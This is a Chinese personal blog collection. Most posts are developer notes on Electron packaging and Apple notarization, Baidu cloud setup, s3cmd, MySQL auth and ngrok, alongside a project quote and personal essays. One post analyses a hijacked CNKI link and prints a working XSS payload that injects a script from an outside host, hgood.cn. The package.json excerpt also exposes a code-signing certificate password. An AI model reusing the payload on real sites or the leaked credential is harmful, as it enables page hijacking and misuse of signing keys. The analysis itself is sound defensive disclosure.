微版云是如何用vue-electron构建mac客户端的

如何初始化项目暂且不说,请看vue-electron的官方文档。

先给大家看一下package.json的部分配置:

“main”: “dist/electron/electron.js”,
  “build”: {
    “appId”: “ink.weiban.portal”,
    “productName”: “WeiBan”,
    “copyright”: “Copyright © 2019 北京商连信息科技有限公司”,
    “directories”: {
      “output”: “./outapp”,
      “app”: “./dist”
    },
    “win”: {
      “target”: [
        “nsis”
      ],
      “icon”: “./static/ico/favicon256.ico”,
      “artifactName”: “${productName}-Setup.${ext}”,
      “publisherName”: “WeiBan”,
      “signingHashAlgorithms”: [
        “sha256”
      ],
      “signDlls”: true,
      “rfc3161TimeStampServer”: “http://timestamp.digicert.com”,
      “certificateFile”: “./static/codeSign/windows/shanglian.pfx”,
      “certificatePassword”: “shanglian”
    },
    “linux”: {
      “target”: [
        “AppImage”
      ],
      “artifactName”: “${productName}.${ext}”
    },
    “mac”: {
      “target”: [
        “dmg”
      ],
      “icon”: “./static/ico/favicon.icns”,
      “artifactName”: “${productName}.${ext}”
    },
    “nsis”: {
      “createDesktopShortcut”: “always”
    },
    “publish”: {
      “provider”: “s3”,
      “bucket”: “electron-app”,
      “endpoint”: “https://electron-app.s3.cn-north-1.amazonaws.com.cn”
    }
  },
  “scripts”: {
    “dev”: “webpack-dev-server –inline –progress –config build/webpack.dev.conf.js”,
    “start”: “npm run dev”,
    “unit”: “jest –config test/unit/jest.conf.js –coverage”,
    “e2e”: “node test/e2e/runner.js”,
    “test”: “npm run unit && npm run e2e”,
    “lint”: “eslint –ext .js,.vue src test/unit test/e2e/specs”,
    “build”: “node build/build.js”,
    “build-electron-dev”: “node build/build-electron-dev.js”,
    “build-electron-prod”: “node build/build-electron-prod.js”,
    “dir”: “electron-builder –dir”,
    “win32”: “electron-builder –win –ia32”,
    “win64”: “electron-builder –win –x64”,
    “mac”: “electron-builder –mac”,
    “linux”: “electron-builder –linux”
  },

构建mac的客户端之前首先要将vue构建好,即运行:

npm run build-electron-prod

然后运行:

sudo yarn mac

之所以要加sudo是yarn用到一些系统目录,不加会报错。(关于如何安装yarn请看官网)

yarn run v1.17.3
$ electron-builder –mac
• electron-builder version=21.1.1 os=18.7.0
• loaded configuration file=package.json (“build” field)
• writing effective config file=outapp/builder-effective-config.yaml
• packaging platform=darwin arch=x64 electron=5.0.6 appOutDir=outapp/mac
• signing file=outapp/mac/WeiBan.app identityName=Developer ID Application: Beijing Shanglian Information Technology Co., Ltd. (R65P3V6H9V) identityHash=BA45718278F5E4268071035C88A48F38A2271B1C provisioningProfile=none
• building target=DMG arch=x64 file=outapp/WeiBan.dmg
• building block map blockMapFile=outapp/WeiBan.dmg.blockmap
✨ Done in 22.15s.

这个时候已经可以看到Weiban.dmg文件已经构建成功。但是还不能直接发布,mac是不能运行的。

接下来要做的最重要的一件事就是通过Notarize Your Preexisting Software。链接这里讲的很清楚,但有几个关键步骤着重强调一下。

XCode用最新版,这个不用犹豫,直接更新并安装。

然后设置开发者证书,里面有各种授权和证书,这里不再赘述,请找熟悉的开发者当面请教,比较关键的是两个:(1)生成Developer ID Application证书,并部署到当前的mac中。(2)注册mac客户端,Identifiers中添加一个macOS类型的。

接下来就可以进入官方引导中的上传这一步了,就是把打包好的dmg上传给苹果。

官方给的命令(点击该地址可以获取准确的命令,复制以下内容有可能会造成字符偏差)是:

xcrun altool --notarize-app --primary-bundle-id "com.example.ote.zip" --username "AC_USERNAME" --password "@keychain:AC_PASSWORD" --file OvernightTextEditor_11.6.8.zip

我们要修改其中的一些内容,比如改成:

xcrun altool –notarize-app –primary-bundle-id “ink.weiban.mac.word” –username “fymeng@51shanglian.com” –password “@keychain:AC_PASSWORD” –file DFS/DFS-portal/outapp/WeiBan.dmg

其中,ink.weiban.mac.word就是在开发者账户中设置的Identifiers的Bundle ID,fymeng@51shanglian.com就是AC_USERNAME,而密码我保留了@keychain:AC_PASSWORD这个赋值,意思就是让命令去我的本机的钥匙串中调用AC_PASSWORD中存储的密码。为了实现这个效果,需要提前将密码存到钥匙串中,命令是:

security add-generic-password -a "fymeng@51shanglian.com" -w <密码我也不会告诉你的> -s "AC_PASSWORD"

当然,fymeng@51shanglian.com这个帐号需要有权限,在这里检查或者添加https://itunesconnect.apple.com/access/users ,最小权限应该是开发人员,要包括上传构建版本这个权限。

另外值得注意的是如果fymeng@51shanglian.com这个帐号开启了二次验证,命令行是不能直接用的,需要到苹果官网新建一个设备密码,上面保存到钥匙串的应该是这个设备密码,如果没有启用二次验证,则可以直接用登录密码。这个命令行会报错。

还有一个,命令行报错说某帐号已经关联了其他任务,那就新建一个专用帐号吧,反正不要钱。

如何以正确的姿势激活百度效率云

百度效率云的具体介绍就不说了,之前是冲着icafe来的,用过一段时间,因为数据无法导出,也不方便把目前用的mantis替换掉,所以一度弃用。

现在产品发布了,面临更严重的用户需求收集和处理问题,在产品比较弱的时候,如果不能更好地把握这些需求的先后和强弱,很容易导致产品开发崩溃。icafe从story到task的过渡处理的还算不错,现在又延伸出一个效率云系列产品,按理说算是不错的敏捷开发平台了。

尽管百度说效率云是按用户收费,目前免费测试,让我有一些担忧,不过用一用也无妨,吸收一些可取之处,也为自己的协作产品找到一些灵感。

不过在初始化账户的过程中,遇到了很多困惑,以至于求助于客服依然没有解决,对接的客户经理对效率云基于没有了解,似乎是我提起她才知道。

好了,废话不多说了,下面列一下建议的步骤。假设你之前没有任何百度系的帐号的话,有的话也尽量忽略,百度系的帐号可不是那么容易注销的。

(1)创建公司/团队帐号。

https://login.bce.baidu.com/reg.html?tpl=bceplat&from=portal

建议使用以上链接直接创建百度云的帐号,百度云和百度智能云貌似是一个东西。为了方便起见,用户名建议使用公司全名,不要用自己偏好的东西,因为这个帐号无法变更主帐号,也就是基本上无法移交,只能变更绑定的手机号和邮箱。再说一遍,建议用企业全名作为用户名。

(2)登录以后在百度云一大堆产品里面找到效率云,创建的时候有个团队名称,建议也用公司全名,下面分配一个空间地址,用公司缩写字母之类比较好,一旦创建,不能修改,也要慎重,而且是全局唯一,不能跟别人重。

(3)进入效率云以后创建一个新的项目,第一个问题就是邀请团队了。找到效率云的项目设置(在左下角),找到“通用设置-权限管理”,邀请用户,这时填写的是被邀请人的邮箱,之所以这样是因为原来icafe单独部署的时候可以不依赖于百度帐号体系,就是用邮箱登录即可。假设你邀请的邮箱是fymeng@51shanglian.com,那么这个邮箱会收到一封邮件。

(4)被邀请人进入fymeng@51shanglian.com,点击邮件中的链接,提示初始化自己的密码,按照要求填写即可,然后自动登录。

(5)被邀请人激活的是一个子帐号,与用fymeng@51shanglian.com这个邮箱注册百度云帐号无关。那么当前子帐号注销了以后如何登录呢,需要请管理员照一下子帐号登录地址,管理员帐号下打开帐号控制区的多用户访问控制,会发现用户管理中的子帐号中已经有fymeng了。然后子帐号列表上方就是子帐号登录的地址,比如http://a3630175ee3744039c854eabf1d33456.login.bce.baidu.com,这里肯定不方便记忆,所以百度很贴心的给了自定义的功能,所以就可以设置为http://shanglian.login.bce.baidu.com,当然这个地址依然还是很难记的,那就需要用自己的域名解析了,比如显性URL转发。

(6)最后补充一点,子帐号登录的时候默认是用邮箱前面那个名字比如fymeng。这个可以在子帐号管理看见到底是什么。

如何使用s3cmd批量修改aws s3上的文件Content-type

首先,使用aws官方的批量处理是可以的,至少官方是这么说的,不过做文件清单然后执行,可能适合比较大量的文件。

现在用s3cmd处理可能是比较直观的方案。mac上安装s3cmd比较简单。只需要brew install s3cmd即可。安装比较慢的话设置一下brew的国内镜像源,方法:https://www.cnblogs.com/crayfish/p/6003862.html

(1)s3cmd –version看看版本对不对,最好是2.0以上。

(2)s3cmd –configure启动配置引导,按提示依次输入key,没有的话去aws生成一个。

(3) s3cmd –mime-type=image/jpeg –recursive  –exclude=* –include=*.jpg modify s3://your-bucket 这就是批量的命令了。看起来还是很简单的。设置参数需要注意顺序,尤其是一定要先exclude再include,否则起不到筛选文件类型的效果,recursive保证你可以遍历bucket下的所有文件,而不是只能修改某个object的元数据。–include=*.jpg这里留意大小写,如果你的文件里有大写后缀名,需要–include=*.JPG也来一遍。

知网被植入H5

今天在微信群出现一个关于华为的H5,借着热门话题赚流量,点了一下发现果然有问题,最后弹出来的是不太好的网页。

简单分析了一下网址:

http://medmap.cnki.net/refbook/AddComment.aspx?type=0&isadd=0&bid=%22%2C%29%3B%7DsetTimeout%28atob%28%27ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vaGdvb2QuY24vZCc7%27%29%2C0%29%3Bfunction%20postc%28%29%20%7B%2F%2F%26name%3D

竟然是知网的域名,按说知网不至于干这个,多半是被植入了。再看里面有一个function,基本上可以判断是url参数被js调用时没有检验,被挂了js代码进去。把URL做一个DECODE,结果如下:

http://medmap.cnki.net/refbook/AddComment.aspx?type=0&isadd=0&bid=”,);}setTimeout(atob(‘ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vaGdvb2QuY24vZCc7’),0);function postc() {//&name=

这就看到了setTimeout定时器,里面的atob是base64解码,解码结果如下:

document.body.innerHTML = ”;document.head.appendChild(document.createElement(‘script’)).src=’//hgood.cn/d’;

好了,hgood.cn,这就是目标。干坏事的是它,栽赃到知网。

把这个结果告诉知网以后,发现,植入内容也变了。

Laravel 框架 MySQL 运行报错: PDOStatement::execute (): MySQL server has gone away?

项目什么都没动,突然发现无法连远程的数据库了,只能连本地的,折腾了半天,连本地的都连不上了,简直像遇到了奇异事件。

用java程序连了一下,默认连不上,需要把usessl设为false,但是php对应的sslmode设为disable并不起作用。

尝试修改wait_timeout和connect_timeout也都无效,只是让等待的时间更长了。

直到在老同事刘明的提醒下,去查看laravel的日志,发现了这么一句:Unexpected server respose while doing caching_sha2 auth

于是,按这个问题去搜索,找到了https://www.cnblogs.com/qichao123/p/9719470.html

进到mysql,通过SELECT user,host,plugin FROM mysql.user;

确认我用的当前用户没问题,是mysql_native_password,于是继续配置my.cnf中的mysqld,添加:

default_authentication_plugin=mysql_native_password

回来测试成功。

部署自己的ngrok1.7服务

非常感谢https://hteen.cn/docker/docker-ngrok.html

我的服务器是ubuntu,首先登录服务器,依次运行以下命令:

docker pull hteen/ngrok
mkdir /root/ngrok
docker run --rm -it -e DOMAIN='tunnel.yourdomain.cn' -v /root/ngrok:/myfiles hteen/ngrok /bin/sh /build.sh
docker run -idt --name ngrok-server -v /root/ngrok:/myfiles -p 8082:80 -p 4432:443 -p 4443:4443  -e DOMAIN='tunnel.yourdomain.cn' hteen/ngrok /bin/sh /server.sh

运行结果显示一个token
这样,在服务器的/root/ngrok目录下则有
bin/ngrokd 服务端
bin/ngrok linux客户端
bin/darwin_amd64/ngrok osx客户端
bin/windows_amd64/ngrok.exe windows客户端
还要增加一个nginx的站点配置,转发请求


server {
listen 80;
server_name tunnel.yourdomain.cn *.tunnel.yourdomain.cn;
location / {
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://serverlocalip:8082;
}
}
server {
listen 443;
server_name tunnel.yourdomain.cn *.tunnel.yourdomain.cn;
location / {
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://serverlocalip:4432;
}
}

在本地电脑执行命令,下载对应的客户端,我的是mac,所以:
scp -i meixi.pem root@yourip:/root/ngrok/bin/darwin_amd64/ngrok ~/ngrok
然后在本地创建ngrok.yml文件,并填入以下内容:


server_addr: "tunnel.yourdomain.cn:4443"
trust_host_root_certs:false
tunnels:
weixin:
proto:
http:8080
subdomain:"wx"
api:
proto:
http:80
subdomain:"api"

然后在本地执行
~/ngrok –config=ngrok.yml start weixin api
就启动了。

某培训机构(服务号)开发计划方案

某培训机构(服务号)开发计划方案

 

甲方需求

 

  • 内容模块
  • 付费音视频
  1. 内容专区:分为三大版块【阅读、朗诵、科普】
  2. 呈现形式:音频、视频、音频+文本(根据需要)
  3. 付费方式:单件计费、打包计费、会员计费
  4. 其他功能:试听、留言互动区、打赏

 

  • 在线报名、测评系统
  1. 在线报名

功能:信息录入、音视频上传

  1. 在线测评

功能:在线计时答题、统计得分

  1. 信息反馈

功能:审核通过发送通知书,会员下载打印通知书

  1. 定位

功能:准确定位会员所在位置,向其推荐就近比赛地点。

 

  • 会员系统
  • 会员渠道:扫码即会员、支付即会员、注册即会员、导入即会员
  • 会员管理:会员信息、权益、互动、积分、余额、打卡、消费、参与活动、报名信息、测评结果、信息反馈……
  • 会员营销:会员标签、积分赠送、商城、推荐有奖、节日关怀、生日关怀……
  • 会员推荐:会员推荐二维码、会员推荐分享页面
  • 会员通知信息的发布

 

 

  • 数据模块
  • 消费记录、充值记录
  • 点播数据:每一节目的浏览及付费数据
  • 行为数据:会员的浏览及消费数据,分析其偏好,可做相关推荐。
  • 定位分布:分析会员的地理位置,定位分布。

 

  • 客服模块

直接链接到相关人员微信或QQ

 

 

  • 社区模块

会员信息及时反馈,会员互动,保持热度,定期开展活动,增设赛事及活动的入口。

 

 

 

 

产品设计

 

根据甲方需求,将产品总结为一个前后端分离的运营平台和微信应用。其中运营平台包括所有的资源管理和业务管理,微信应用作为面向用户的终端呈现,为用户提供在线服务。

需求基本上反映了业务需求,本方案对部分细节设定做了增减,如暂时不考虑积分规则,而建议在用户激活之后逐步设计积分规则和配套的运营活动,否则将对系统复杂度影响太大,而又不能在初期用户导入阶段发挥足够的作用。另外,用户的互动场景表达尚不清晰,考虑到用户间的交流面临审核监管的责任问题,建议单独设计这一部分的功能和管理方式,初步方案中也暂不涉及。

针对营销管理和消息推送模型做了较为细致的设计。其中营销管理的管理方式覆盖了典型的营销策略,可以直接配置上线,不需二次开发,消息管理覆盖了短信、微信、邮件多通道消息推送,及定时和触发两种模式,可以兼顾几乎所有业务场景,由运营方有效主导。

 

架构设计

 

开发计划

模块 开发周期(周)
运营管理平台 用户管理 1
分类管理 0.5
资源管理 1
课程管理 1
营销管理 3
订单管理 1
授权管理 1
知识答题 2
活动管理 1
消息管理 2
推荐管理 1
行为管理 2
客户专员 1
权限管理 0.5
微信应用 消息推送 0.5
内容浏览 1
课程清单 1
活动报名 1
知识答题 1
我的会员 1
合计 23.5

 

开发周期6个月,总报价:60万元。

 

运营支撑服务

云主机:每年2000元至5000元。

流量费用:每会员每月0.5元至2元。

运维费用:每月1万,上线后前12个月免费,含设计范围内的合理修改,不含功能变更或扩充。

响应时效:紧急需求24小时内提供解决方案,一般需求48小时内提供解决方案。

PDF版下载:

某培训机构服务号开发计划方案

房租涨了,不要只怪中介

先说一下体会的来源,我是airbnb的超赞房东,先后经营三套房子,有自己的,也有朋友的,做airbnb的初衷很简单,房子是精装修,也很新,长租出去折旧很厉害,不划算,短租的话虽然麻烦,但可以保持房子的品质,相对长租,也可以有一些额外的收益。

简单算个账,一个一居的房子装修费在十万左右,包括硬装、软装、家具电器等。如果是自住,折旧周期可以按十年算,如果长租出去,恐怕最多只能按五年算。这样的话,平摊到每个月,就是至少一千元的差别。这还不考虑加上了折旧的房子后面的租金上升空间有限甚至降低。

就北京来说,当老旧的房子越来越少,新的房子越来越多,流动人口减少,稳定人口增加,对好房子需求也越来越多的情况下,吸引更多精装修的高端房源入市,但同时,这些房源对折旧的预期是很高的,一居室每个月要加上一千多的折旧,两居室就要加三四千。

那么,如何才能降低房东的折旧预期,以更低的价格租到好房子呢?那就是建立自己的信用,比如在airbnb上获得更多的好评,爱护你租的房子,无论是长住还是短租。实际上,对房子的爱惜,将降低总的成本,这个成本最终都是由房客自己承担的。

市场欢迎更好的房客,请尊重市场规律,请尊重自己,提高自己的生活品味,让每个房子都受到妥善的对待。

苟利国家生子以,岂因福祸避孕之

标题是最近网络未流行已被禁的一条改编版名言。

我的第二个孩子即将在10月出生,关于他的出现,我们几乎没有太多的纠结,尽管也明白因他而带来的更多的付出,但一个生机勃勃的家更加有吸引力。当然,就目前情况而言,第三个孩子的可能性是比较小了。

网络上有很多关于计划生育走向的传言,我们也曾经是限制二胎政策的遇难者,可是,作为个人而言,似乎没有太多的选择,也没有有效的抗争渠道,最有用的则是尽力保持家庭的生存能力。

新的生命总是无法预料,不断带来惊喜和挑战。在解决一个个问题的过程中,我们老去,直到因为死亡率百分之百的生命这个病而离世。(最后这句来自网络)我们依然还是期望着更加美好,而不断为之努力。